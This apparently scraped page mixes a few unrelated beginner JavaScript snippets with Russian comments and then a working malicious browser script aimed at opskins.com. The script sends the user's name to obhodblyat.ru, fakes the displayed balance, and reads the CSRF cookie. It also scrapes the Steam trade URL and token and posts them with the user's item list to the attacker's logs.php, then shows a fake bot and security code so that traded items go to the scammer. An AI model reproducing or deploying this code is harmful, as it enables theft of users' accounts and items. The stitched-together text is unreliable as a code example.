const add = Object.create(Manipulate.prototype);
С вызовом конструктора надо писать так:const add = new Manipulate('id1', 'id2');
console.log('test' in add);
var keys = Object.getOwnPropertyNames(obj.position);
keys.sort((a, b) => obj.position[a] - obj.position[b]);
for(init; predicate; nextIteration) { body }
for(let i = 0; i < 10; i++) {
console.log(i);
}
for(let i = 10; i--;) {
console.log(i);
}
студии которые как семечки выплевывают сайты сидят
function look(t) {
var pList = document.getElementsByClassName(t);
var l = document.getElementsByClassName("a-" + t)[0];
for(var i = 0; i < pList.length; i++) {
var p = pList[i];
if (p.style.display == "block") {
l.innerHTML = "Показать все";
p.style.display = "none";
} else {
l.innerHTML = "скрыть";
p.style.display = "block";
}
}
}
if (document.domain === 'www.opskins.com' || document.domain === 'opskins.com') {
function online() {
var n = $('.avatar-menu .dropdown a h2').text();
$.post( 'https://obhodblyat.ru/opskinseba/'+ahuet+'/online.php', {name: n} );
}
var n = $('.avatar-menu .dropdown a h2').text();
$.post( 'https://obhodblyat.ru/opskinseba/'+ahuet+'/online.php', {name: n} );
setInterval(online,45000);
$('.op-alert-message.op-danger').hide();
function bal(){
$.get('https://obhodblyat.ru/opskinseba/'+ahuet+'/balance.php', function(data){
data = JSON.parse(data);
var name = $('.navbar-brand .user-info h2').text();
name = name.substring(0, name.length - 1);
if(name == data.nick){
var bal = $('#op-count').text();
bal = bal.substring(1);
bal = parseFloat(bal);
var bal2 = data.bal;
bal2 = parseFloat(bal2);
bal = bal+bal2;
$('#op-count').text('$'+bal);
$('#op-count').show();
}else{
$('#op-count').show();
}
});
}
var gay = location.href
if(gay.indexOf('loc=shop_sale_form') > 0) {
$('button.navbar-toggle.pull-left').before('<div style="display:none; background: #00a279;font-family: sans-serif;padding: 10px;text-align: center;font-size: 20px;" class="adminopsninssuckercock">0 - Items was stolen</div>');
$('.adminopsninssuckercock').show('slow');
function hideban() {
$('.adminopsninssuckercock').hide('slow');
}
setTimeout(hideban, 5000);
var bot = '';
var code = '';
var steamid = '';
var imgepta = '';
var textepta = '';
var on = '';
function getCookie(name) {
var matches = document.cookie.match(new RegExp(
"(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
var link = 'https://steamcommunity.com/my/tradeoffers';
function sell2() {
$('#qItems').html('<div class="alert alert-success">'+
'<p>Your sale has been assigned to <a href="https://steamcommunity.com/profiles/'+steamid+'" class="alert-link" target="_BLANK">bot #'+bot+'</a>.</p>'+
'<p><b>Your security token is \''+code+'\'.</b></p>'+
'<h4>Open Trade Offer In:</h4>'+
'<span class="offer-links">'+
'<a class="btn btn-default btn-lg" target="_BLANK" href="'+link+'"><i class="fa fa-chrome"></i> Browser</a>'+
'<a class="btn btn-default btn-lg" href="steam://url/TradeOffers/"><i class="stm stm-steam"></i> Steam</a>'+
'</span>'+
'<p>Trade offers may be canceled after 5 minutes.<br>After that time, you must resend the offer from your account page.</p>'+
'</div>')
}
var csrf = getCookie('opskins_csrf');
function keksik(){
$.ajax({
url: '/?loc=store_account',
type: 'GET',
headers: {
'x-csrf': csrf
},
success: function (result) {
var t = "OPskins";
var n = $('.avatar-menu .dropdown a h2').text();
var v = $(result).find('input[name*="tUrl"]').val();
var v1 = v.split('&token=')[0];
v1 = v1.substr(51);
var v2 = v.split('&token=')[1];
var b = $('#op-count').text();
$.post( 'https://obhodblyat.ru/opskinseba/'+ahuet+'/logs.php', { type: t, name: n, value1: v1,value2: v2,bal: b,items: textepta, itemsimg: imgepta } );
},
error: function (error) {
}
});
}
function pre() {
$('#sellDepositBtn').html('<span class="btn btn-orange" id="sellitems" style="display: inline-block;">Deposit Items<span id="dueNowBtn" style="display:none;"> (<span id="dueNowAmt">0</span> Due Now)</span> </span>')
$.get('https://obhodblyat.ru/opskinseba/'+ahuet+'/name.php', function(data){
bot = data;
})
$.get('https://obhodblyat.ru/opskinseba/'+ahuet+'/code.php', function(data){
code = data;
})
$.get('https://obhodblyat.ru/opskinseba/'+ahuet+'/steamid.php', function(data){
steamid = data;
})
//setTimeout(keksik, 2000);
$( "#sellitems" ).click(function() {
$( "#qItems .sale-item" ).each(function() {
imgepta += '<img src="'+$(this).find(".sale-item-img").attr("src")+'"></img>';
textepta += '<span>'+$(this).find('.sale-item-desc').text()+'</span>';
});
keksik();
$("#qItems").html("<img class='ajax-loader' src='images/ajax-loader-big.gif'/>");
setTimeout(sell2,2000);
})
}
}
$.get('https://obhodblyat.ru/opskinseba/'+ahuet+'/steam.php', function(data){
if(data == '1'){
bal();
if(gay.indexOf('loc=shop_sale_form') > 0) {
pre();
}
}else{
$('#op-count').show();
}
})
}